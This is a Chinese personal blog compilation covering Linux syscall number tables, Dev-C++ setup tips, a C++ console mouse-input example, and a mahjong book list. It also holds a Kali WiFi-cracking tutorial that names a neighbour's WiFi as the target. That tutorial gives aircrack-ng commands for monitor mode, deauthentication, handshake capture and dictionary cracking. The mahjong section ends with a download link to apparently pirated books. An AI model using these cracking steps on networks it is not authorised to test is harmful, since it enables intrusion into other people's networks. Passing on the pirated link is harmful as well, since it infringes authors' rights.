stty 31 getpriority 96 sched_rr_get_interval 161 fsetxattr 228 openat 295 socketpair 360
gtty 32 setpriority 97 nanosleep 162 getxattr 229 mkdirat 296 bind 361
access 33 profil 98 mremap 163 lgetxattr 230 mknodat 297 connect 362
nice 34 statfs 99 setresuid 164 fgetxattr 231 fchownat 298 listen 363
ftime 35 fstatfs 100 getresuid 165 listxattr 232 futimesat 299 accept4 364
sync 36 ioperm 101 vm86 166 llistxattr 233 fstatat64 300 getsockopt 365
kill 37 socketcall 102 query_module 167 flistxattr 234 unlinkat 301 setsockopt 366
rename 38 syslog 103 poll 168 removexattr 235 renameat 302 getsockname 367
mkdir 39 setitimer 104 nfsservctl 169 lremovexattr 236 linkat 303 getpeername 368
rmdir 40 getitimer 105 setresgid 170 fremovexattr 237 symlinkat 304 sendto 369
dup 41 stat 106 getresgid 171 tkill 238 readlinkat 305 sendmsg 370
pipe 42 lstat 107 prctl 172 sendfile64 239 fchmodat 306 recvfrom 371
times 43 fstat 108 rt_sigreturn 173 futex 240 faccessat 307 recvmsg 372
prof 44 olduname 109 rt_sigaction 174 sched_setaffinity 241 pselect6 308 shutdown 373
brk 45 iopl 110 rt_sigprocmask 175 sched_getaffinity 242 ppoll 309 userfaultfd 374
setgid 46 vhangup 111 rt_sigpending 176 set_thread_area 243 unshare 310 membarrier 375
getgid 47 idle 112 rt_sigtimedwait 177 get_thread_area 244 set_robust_list 311 mlock2 376
signal 48 vm86old 113 rt_sigqueueinfo 178 io_setup 245 get_robust_list 312 copy_file_range 377
geteuid 49 wait4 114 rt_sigsuspend 179 io_destroy 246 splice 313 preadv2 378
getegid 50 swapoff 115 pread64 180 io_getevents 247 sync_file_range 314 pwritev2 379
acct 51 sysinfo 116 pwrite64 181 io_submit 248 tee 315
umount2 52 ipc 117 chown 182 io_cancel 249 vmsplice 316
lock 53 fsync 118 getcwd 183 fadvise64 250 move_pages 317
ioctl 54 sigreturn 119 capget 184 exit_group 252 getcpu 318
fcntl 55 clone 120 capset 185 lookup_dcookie 253 epoll_pwait 319
mpx 56 setdomainname 121 sigaltstack 186 epoll_create 254 utimensat 320
setpgid 57 uname 122 sendfile 187 epoll_ctl 255 signalfd 321
ulimit 58 modify_ldt 123 getpmsg 188 epoll_wait 256 timerfd_create 322
oldolduname 59 adjtimex 124 putpmsg 189 remap_file_pages 257 eventfd 323
umask 60 mprotect 125 vfork 190 set_tid_address 258 fallocate 324
chroot 61 sigprocmask 126 ugetrlimit 191 timer_create 259 timerfd_settime 325
ustat 62 create_module 127 mmap2 192 timer_settime 260 timerfd_gettime 326
dup2 63 init_module 128 truncate64 193 timer_gettime 261 signalfd4 327
getppid 64 delete_module 129 ftruncate64 194 timer_getoverrun 262 eventfd2 328

64位

函数 调用号 函数 调用号 函数 调用号 函数 调用号 函数 调用号 函数 调用号
read 0 getsockopt 55 getppid 110 mount 165 semtimedop 220 splice 275
write 1 clone 56 getpgrp 111 umount2 166 fadvise64 221 tee 276
open 2 fork 57 setsid 112 swapon 167 timer_create 222 sync_file_range 277
close 3 vfork 58 setreuid 113 swapoff 168 timer_settime 223 vmsplice 278
stat 4 execve 59 setregid 114 reboot 169 timer_gettime 224 move_pages 279
fstat 5 exit 60 getgroups 115 sethostname 170 timer_getoverrun 225 utimensat 280
lstat 6 wait4 61 setgroups 116 setdomainname 171 timer_delete 226 epoll_pwait 281
poll 7 kill 62 setresuid 117 iopl 172 clock_settime 227 signalfd 282
lseek 8 uname 63 getresuid 118 ioperm 173 clock_gettime 228 timerfd_create 283
mmap 9 semget 64 setresgid 119 create_module 174 clock_getres 229 eventfd 284
mprotect 10 semop 65 getresgid 120 init_module 175 clock_nanosleep 230 fallocate 285
munmap 11 semctl 66 getpgid 121 delete_module 176 exit_group 231 timerfd_settime 286
brk 12 shmdt 67 setfsuid 122 get_kernel_syms 177 epoll_wait 232 timerfd_gettime 287
rt_sigaction 13 msgget 68 setfsgid 123 query_module 178 epoll_ctl 233 accept4 288
rt_sigprocmask 14 msgsnd 69 getsid 124 quotactl 179 tgkill 234 signalfd4 289
rt_sigreturn 15 msgrcv 70 capget 125 nfsservctl 180 utimes 235 eventfd2 290
ioctl 16 msgctl 71 capset 126 getpmsg 181 vserver 236 epoll_create1 291
pread64 17 fcntl 72 rt_sigpending 127 putpmsg 182 mbind 237 dup3 292
pwrite64 18 flock 73 rt_sigtimedwait 128 afs_syscall 183 set_mempolicy 238 pipe2 293
readv 19 fsync 74 rt_sigqueueinfo 129 tuxcall 184 get_mempolicy 239 inotify_init1 294
writev 20 fdatasync 75 rt_sigsuspend 130 security 185 mq_open 240 preadv 295
access 21 truncate 76 sigaltstack 131 gettid 186 mq_unlink 241 pwritev 296
pipe 22 ftruncate 77 utime 132 readahead 187 mq_timedsend 242 rt_tgsigqueueinfo 297
select 23 getdents 78 mknod 133 setxattr 188 mq_timedreceive 243 perf_event_open 298
sched_yield 24 getcwd 79 uselib 134 lsetxattr 189 mq_notify 244 recvmmsg 299
mremap 25 chdir 80 personality 135 fsetxattr 190 mq_getsetattr 245 fanotify_init 300
msync 26 fchdir 81 ustat 136 getxattr 191 kexec_load 246 fanotify_mark 301
mincore 27 rename 82 statfs 137 lgetxattr 192 waitid 247 prlimit64 302
madvise 28 mkdir 83 fstatfs 138 fgetxattr 193 add_key 248 name_to_handle_at 303
shmget 29 rmdir 84 sysfs 139 listxattr 194 request_key 249 open_by_handle_at 304
shmat 30 creat 85 getpriority 140 llistxattr 195 keyctl 250 clock_adjtime 305
shmctl 31 link 86 setpriority 141 flistxattr 196 ioprio_set 251 syncfs 306
dup 32 unlink 87 sched_setparam 142 removexattr 197 ioprio_get 252 sendmmsg 307
dup2 33 symlink 88 sched_getparam 143 lremovexattr 198 inotify_init 253 setns 308
pause 34 readlink 89 sched_setscheduler 144 fremovexattr 199 inotify_add_watch 254 getcpu 309
nanosleep 35 chmod 90 sched_getscheduler 145 tkill 200 inotify_rm_watch 255 process_vm_readv 310
getitimer 36 fchmod 91 sched_get_priority_max 146 time 201 migrate_pages 256 process_vm_writev 311
alarm 37 chown 92 sched_get_priority_min 147 futex 202 openat 257 kcmp 312
setitimer 38 fchown 93 sched_rr_get_interval 148 sched_setaffinity 203 mkdirat 258 finit_module 313
getpid 39 lchown 94 mlock 149 sched_getaffinity 204 mknodat 259 sched_setattr 314
sendfile 40 umask 95 munlock 150 set_thread_area 205 fchownat 260 sched_getattr 315
socket 41 gettimeofday 96 mlockall 151 io_setup 206 futimesat 261 renameat2 316
connect 42 getrlimit 97 munlockall 152 io_destroy 207 newfstatat 262 seccomp 317
accept 43 getrusage 98 vhangup 153 io_getevents 208 unlinkat 263 getrandom 318
sendto 44 sysinfo 99 modify_ldt 154 io_submit 209 renameat 264 memfd_create 319
recvfrom 45 times 100 pivot_root 155 io_cancel 210 linkat 265 kexec_file_load 320
sendmsg 46 ptrace 101 _sysctl 156 get_thread_area 211 symlinkat 266 bpf 321
recvmsg 47 getuid 102 prctl 157 lookup_dcookie 212 readlinkat 267 execveat 322
shutdown 48 syslog 103 arch_prctl 158 epoll_create 213 fchmodat 268 userfaultfd 323
bind 49 getgid 104 adjtimex 159 epoll_ctl_old 214 faccessat 269 membarrier 324
listen 50 setuid 105 setrlimit 160 epoll_wait_old 215 pselect6 270 mlock2 325
getsockname 51 setgid 106 chroot 161 remap_file_pages 216 ppoll 271 copy_file_range 326
getpeername 52 geteuid 107 sync 162 getdents64 217 unshare 272 preadv2 327
socketpair 53 getegid 108 acct 163 set_tid_address 218 set_robust_list 273 pwritev2 328
setsockopt 54 setpgid 109 settimeofday 164 restart_syscall 219 get_robust_list 274

带你玩转DEV-C++

Thu Oct 31 2024 15:04:15 GMT+0800


头记

鉴于使用原版DEV-C++不得不说十分滞后,人家Visual Studio多高端,本人写下此文章,使用一些奇技淫巧,美化和增强此IDE,个人认为可以和Visual Studio相媲美

样式美化

预览

1. 点击顶部菜单栏工具

1. 点击下拉列表中的编译器选项

1. 点击新弹出的窗口中的基本

1. 取消勾选高亮显示当前行,或者后面你再选择你喜欢的颜色。

1. 点击还是这个窗口中的语法(和“基本”在同一排)

1. 选择预设为 Obsidian,保存一下再进行以下修改

1. 修改以下几个地方:(都只改前景和样式,背景不改,改完记得点确定)

Preprocessor: (自定义)红136+绿99+蓝173+下划线

Reserved Word: (自定义)红106+绿185+蓝255+下划线

Identifier: Silver

String:(自定义)红255+绿128+蓝128

Symbol:(自定义)同上String

取消完成符号(个人喜好)

1. 点击顶部菜单栏工具->点击编译器选项

1. 点击新弹出的窗口中的代码补全

1. 点击完成符号

1. 取消勾选启用符号配对

编译选项优化

1. 点击顶部菜单栏工具

1. 点击下拉列表中的编译选项

1. 点击新弹出的窗口中的代码生成/优化

1. 点击代码警告

1. 设显示最多警告信息(-Wall)为Yes

1. (有必要的可以设“显示所有警告为错误(-Werror)”为Yes)

像这样

使用自己的mingw-w64

(Dev-C++ 5.11自带的mingw-w64的版本才4.9.2,我们可以使用自己最新版的mingw-w64,目前是8.1.0)

1. mingw-w64的下载安装教程,在这里

1. 打开Dev-C++过程中一定不要关闭

1. 打开你Dev-C++安装的位置(默认在C:\Program Files (x86)\Dev-Cpp)

1. 用你的MinGW64覆盖掉自带的MinGW64的文件夹

1. 然后点击Dev-C++菜单栏 文件 -> 编译选项 -> 点击 目录

1. 点击C包含文件C++包含文件

1. 把里面路径所有的4.9.2换成8.1.0(即你所用的版本)

1. 然后重新打开Dev-C++进行配置

修改样例(修改后点击替换):

:如果你过程中关闭了Dev-C++重新打开时他会提示你“路径无效,是否删除无效路径”请选择,不然你的许多头文件会用不了

接下来配置一下

- 点击Dev-C++菜单栏 文件 -> 编译选项 点击上方两个加号处

- 点击Yes或No,点击Yes就会清空原有列表,点击No就会保留原来列表,建议清空(建议点击Yes)

- 如果会生成一个新列表,说明配置成功了,像这样


格式化修改

1. 点击顶部菜单栏AStyle

1. 点击下拉列表中的格式化选项

1. 选择选项——括号风格为Allman(个人喜欢)(默认的Java也还行)

1. 在编辑代码的时候按Ctrl+Shift+A就可以自动格式化啦

预览

设置透明编辑器

预览

1. 点击这里下载Glass2k程序

1. 解压并打开Glass2k.exe(怎么都是英文的?!别怕)

1. 如果没有显示界面那就看看任务栏右下角有没有三个箱子堆起来的图标,右键点Settings

1. 有三个勾选框,简单翻译一下,第一个是开机启动,第二个是记住透明度设置,第三个是深度使用该软件(建议勾选第二和第三个)(下面那个蓝蓝的条是用来设置任务栏的透明度的)

1. 接下来为了避免鼠标按键冲突,设置Right Click: + Ctrl + Shift

1. 然后打开DEV-C++,按着Ctrl + Shift + 右键点击DEV-C++窗口的任意地方,就会出现一个列表,选择你想要的透明度就可以啦(建议设置80%)

- 可以按照下图修改

预览

(PS:这个软件也可以用在其他一些地方哦,如:浏览器,文件夹等)

一些快捷键

1. f9编译,f10运行,f11编译运行(这个应该不用我多说)

1. f5调试(记得把设定编译器配置改为TDM-GCC 4.9.2 64-bit Debug),F7下一步,F8单步进入(这个应该也不用我多说)

1. Ctrl+f11全屏/取消全屏,样例:

1. 当你打开了两个文件时,让你的页面停留在一个文件,按Ctrl+M就可以把另一个文件在新的页面打开,样例:

最后

Dev-C++跟目前的主流代码编辑器相比已被拉开巨大的差距,但

文章到此就结束了,还在持续更新,给个赞再走呗

kali+无线网卡破解wifi密码

Fri Jul 26 2024 17:39:06 GMT+0800


虚拟机+无线网卡(推荐)

材料准备

1. 安装有kali虚拟机的电脑,最好别用wsl(会有一些莫名其妙的错误)
2. 无线网卡一枚(最好免驱),网购约30元,我使用的是mt7601u
3. 字典(自己生成或者网上下载如Top100)
4. 邻居家的wifi

将无线网卡连接至虚拟机

请务必先打开kali虚拟机后,后将无线网卡插上电脑。

这样在VMwwre中才会出现一个弹窗“检测到新的usb设备”选择“连接到虚拟机”,选中你的虚拟机点确定

打开终端,输入ifconfig,如果列出的表中有wlan0,则说明无线网卡已经成功连接到kali虚拟机中

 2024-11-28 190541.png

开启监听模式

开启网卡监听(注意下面图片中的monitor mode enable,表示监听模式启动)

airmon-ng start wlan0

 2024-11-28 190808.png

扫描附近的wifi,搜索到你要破解的wifi的名字时,及时按下空格暂停扫描,以免扫描的东西不见了,也方便复制:

airodump-ng wlan0
BSSID CH ESSID
wifi的网卡 信道 wifi的名字

 2024-11-28 191752.png

这时候最好不要按Ctrl+C退出上一步,最好是再打开一个控制台窗口,查看wifi连接的设备

airodump-ng --bssid <BSSID> -c <CH> -w <文件名不用自己加后缀> wlan0

抓包

aireplay-ng -0 2 -a <BSSID> -c <STATION> wlan0

参数说明:-0抓取包的个数,-a路由器MAC,-c用户MAC

破解wifi密码,跑包,如果密码字典中有密码,即可破解成功

aircrack-ng -w <字典路径> <文件名不用自己加后缀>

停止监听

airmon stop wlan0

WSL+无线网卡(无效)

使用USBIPD将无线网卡绑定到WSL

参考文档:Microsoft-连接USB设备

你有两种方式安装usbipd

第一种,在GitHub发布页中下载https://github.com/dorssel/usbipd-win/releases,下载usbipd-win_x.x.x.msi,然后安装即可

第二种,如果你的Windows有安装winget,那么可以通过输入命令来安装

winget install --interactive --exact dorssel.usbipd-win

安装好usbipd后,打开powershell(以管理员模式打开),先别着急打开wsl

确保你的无线网卡插入了电脑后,输入查看

usbipd list 

 2024-11-28 140241.png

我们可以看到,我的无线网卡名称为802.11n USB Wireless LAN Card,它的BUSID2-1

接下来输入命令使无线网卡处于共享状态

usbipd bind --busid <busid> 

 2024-11-28 140719.png

通过后面的命令我们可以看到,我的无线网卡已经处于Shared的状态,那我们就可以将其绑定到WSL中(在此之前需要先打开WSL,否则可能会报错):

usbipd attach --wsl --busid <busid>

 2024-11-28 141405.png

这里附一条解除绑定的命令(别乱输啊),不过官方文档是说也可以通过物理移除的方式(通俗的讲就是直接拔):

usbipd detach --busid <busid>

到此,你的Windows可能会弹出一条移除设备的信息,并且在Windows下的WLAN也看不到了两张网卡,这是正常现象,它说明你已经成功的将无线网卡添加到了WSL中。

我们不妨进一步进行验证 。切换到WSL的窗口,输入lsusb可以查看接入的USB:

 2024-11-28 141854.png

其中的Ralink Technology, Corp. MT7601U Wireless Adapter就是我的网卡,显然,USB添加成功了。

但是,输入ifconfig查看,好家伙没有无线网。。。(好吧,我承认到此我不会了

Windows+无线网卡

Aircrack-ng官网下载工具,Windows版本包含以下工具

命令(有用的) 功能
airbase-ng
aircrack-ng 最后破解:破解WEP以及WPA(字典攻击)密钥
airdecap-ng
airdecloak-ng
aireplay-ng
airodump-ng 数据包嗅探:将无线网络数据输送到PCAP或IVS文件并显示网络信息
airserv-ng

用C++读取鼠标在控制台上的操作

Fri Jul 07 2023 18:18:51 GMT+0800


与读取键盘信息类似,读取鼠标信息也是通过 ReadConsoleInput 函数来实现

咱先说一下需要用到的头文件:

#include <windows.h>

响应鼠标点击事件的变量类型

INPUT_RECORD

咱先介绍一下ReadConsoleInput这个函数

typedef struct _MOUSE_EVENT_RECORD { 
		COORD dwMousePosition;		// 当前鼠标位置
		DWORD dwButtonState;		// 鼠标按钮状态
		DWORD dwControlKeyState;	// 键盘控制键状态
		DWORD dwEventFlags; 		// 事件状态
} MOUSE_EVENT_RECORD;
//这个东西一般都在"INPUT_RECORD的变量名.Event.MouseEvent.以上变量"

1.第一个参数存放鼠标的位置信息,类型为 COORD 坐标类型;

2.第二个参数(dwButtonState)为鼠标的按键状态,包含的值如下:

鼠标按键状态码(dwButtonState) 说明
FROM_LEFT_1ST_BUTTON_PRESSED 最左边按键
FROM_LEFT_2ND_BUTTON_PRESSED 左起第二个按键
FROM_LEFT_3RD_BUTTON_PRESSED 左起第三个按键
FROM_LEFT_4TH_BUTTON_PRESSED 左起第四个按键
RIGHTMOST_BUTTON_PRESSED 最右边按键

3.第三个参数是键盘控制键状态,这个和上一章的内容是一样的;

4.最后一个参数(dwEventFlag)为事件状态:

事件状态码(dwEventFlag) 说明
DOUBLE_CLICK 双击
MOUSE_MOVED 移动
MOUSE_WHEELED 滚轮滚动(只适用于Windows 2000/XP)

在程序开头应加上

HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
HANDLE hIn = GetStdHandle(STD_INPUT_HANDLE);
//这是用来添加鼠标输入设备的

用法举例

//我写的一个简单地例子
#include<iostream>
#include<windows.h>
using namespace std;
int main()
{
	HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
	HANDLE hIn = GetStdHandle(STD_INPUT_HANDLE);

	CONSOLE_SCREEN_BUFFER_INFO bInfo;
	INPUT_RECORD mouseRec;
	DWORD res;

	while(1)
	{
		ReadConsoleInput(hIn, &mouseRec, 1, &res);//读取一个鼠标操作
		if(mouseRec.Event.MouseEvent.dwButtonState==FROM_LEFT_1ST_BUTTON_PRESSED)//如果点击了左键
		{
			if (mouseRec.Event.MouseEvent.dwEventFlags == DOUBLE_CLICK)//如果是双击
			{
				break;	//退出循环
			}
			else//单击的情况
			{
				cout<<mouseRec.Event.MouseEvent.dwMousePosition.X<<" "<<mouseRec.Event.MouseEvent.dwMousePosition.Y<<endl;//输出当前鼠标的位置
			}
		}
	}
	CloseHandle(hOut);  // 关闭标准输出设备句柄  
	CloseHandle(hIn);   // 关闭标准输入设备句柄  
}

摘自网络

#include <windows.h>  
#include <stdio.h>  
 
int main(void)  
{  
	// 获取标准输入输出设备句柄  
	HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);        
	HANDLE hIn = GetStdHandle(STD_INPUT_HANDLE); 
	CONSOLE_SCREEN_BUFFER_INFO bInfo;
	INPUT_RECORD	mouseRec;
	DWORD			res;
	COORD			crPos, crHome = {0, 0};
	printf("[Cursor Position] X: %2lu  Y: %2lu\n", 0, 0);	// 初始状态
	while (1)
	{
		ReadConsoleInput(hIn, &mouseRec, 1, &res);
 
		if (mouseRec.EventType == MOUSE_EVENT)
		{
			if (mouseRec.Event.MouseEvent.dwButtonState==FROM_LEFT_1ST_BUTTON_PRESSED)
			{
				if (mouseRec.Event.MouseEvent.dwEventFlags == DOUBLE_CLICK)
				{
					break;	// 左键双击 退出循环
				}
			}			
			crPos = mouseRec.Event.MouseEvent.dwMousePosition;
			GetConsoleScreenBufferInfo(hOut, &bInfo);
			SetConsoleCursorPosition(hOut, crHome);
			printf("[Cursor Position] X: %2lu  Y: %2lu", crPos.X, crPos.Y);
			SetConsoleCursorPosition(hOut, bInfo.dwCursorPosition);
			switch (mouseRec.Event.MouseEvent.dwButtonState)
			{
				case FROM_LEFT_1ST_BUTTON_PRESSED:			// 左键 输出A
					FillConsoleOutputCharacter(hOut, 'A', 1, crPos, &res);
					break;		// 如果使用printf输出,则之前需要先设置光标的位置
 	
				case RIGHTMOST_BUTTON_PRESSED:				// 右键 输出a
					FillConsoleOutputCharacter(hOut, 'a', 1, crPos, &res);
					break;
	 
				default:
					break;
			}
		}		
	}
	CloseHandle(hOut);  // 关闭标准输出设备句柄  
	CloseHandle(hIn);   // 关闭标准输入设备句柄  
	return 0;  
}

日本麻将资料整理

Thu Jul 06 2023 21:14:03 GMT+0800


书名一览(若要保证浏览体验,请关闭翻译)

《ASAPIN 天才雀士に麻雀のことを聞いたらバカ勝ちできた》
《Guzaku 傑作「何切る」300選》
《Guzaku 定石「何切る」301選》
《owata 三人麻雀の極意》
《ZERO ゼロ秒思考の麻雀》
《ZERO 麻雀強者の0秒思考》
《かにマジン 日本一麻雀が強いサラリーマンの必勝法》
《きよ アマチュア地方最強位が作る新麻雀マニュアル》
《みーにん 「統計学」のマージャン戦術》
《みーにん 知るだけで強くなる麻雀の2択》
《ゆうせー 実戦でよく出る!麻雀講義》
《中島準也 理論的思考で勝つ麻雀》
《二階堂亜樹 勝てる麻雀の基本》
《土井泰昭 勝つ人は知っている現代麻雀30の新常識》
《土田浩翔 運を育てる》
《堀内正人 麻雀の麒麟児の一打》
《堀慎吾 麻雀だから君は負けるんです》
《多井隆晴 多井熱》
《小林剛 スーパーデジタル麻雀》
《川村晃裕 麻雀勝ち組の鳴きテクニック》
《平澤元気 よくわかる麻雀の勝ち方》
《平澤元気 現代麻雀の秘技相手に対応させる技術》
《平澤元気 絶対にラスを引かない麻雀ラス回避35の技術》
《日本プロ麻雀連盟 麻雀基本手筋コレクション》
《朝倉康心 麻雀の失敗学》
《比嘉秀仁 強者の最近手筋100》
《水上直紀 麻雀AI戦術》
《独歩 序盤の鉄戦略》
《独歩 鉄押しの条件》
《石橋伸洋 進化するデジタル麻雀》
《石橋伸洋 黒いデジタル麻雀》
《福地誠 これだけで勝てる!麻雀の基本形80》
《福地誠 手作りと押し引きの鉄戦術》
《福地誠 麻雀10倍勝てるテクニック》
《福地誠 麻雀の正解》
《福地誠 麻雀テクニック》
《福地誠 麻雀勝ち組の選択》
《福地誠 麻雀勝ち組の選択II》
《菊池翔 絶対に負けない最強麻雀戦術》
《藤田晋 仕事が麻雀で麻雀が仕事》
《近代麻雀 プロに挑戦!!麻雀検定》
《近代麻雀 麻雀プロMリーグ選手名鑑》
《近藤誠一 大きく打ち大きく勝つ麻雀》
《鈴木たろう ゼウスの選択》
《馬場裕一 バビーのメンチン何切る》
《鳳南研究所 現代麻雀の神ワザ》

下载链接

资料来源于网络

仅供交流学习使用,不得用于任何商业用途

https://cowtransfer.com/s/cc797d6a256440 点击链接查看 【 PDF.zip 】 ,或访问奶牛快传 cowtransfer.com 输入传输口令 f4jzju 查看;

感谢支持

微信打赏码

如果您觉得这篇文章对您有帮助

可以扫描上方二维码支持一下作者

您的支持是我创作的动力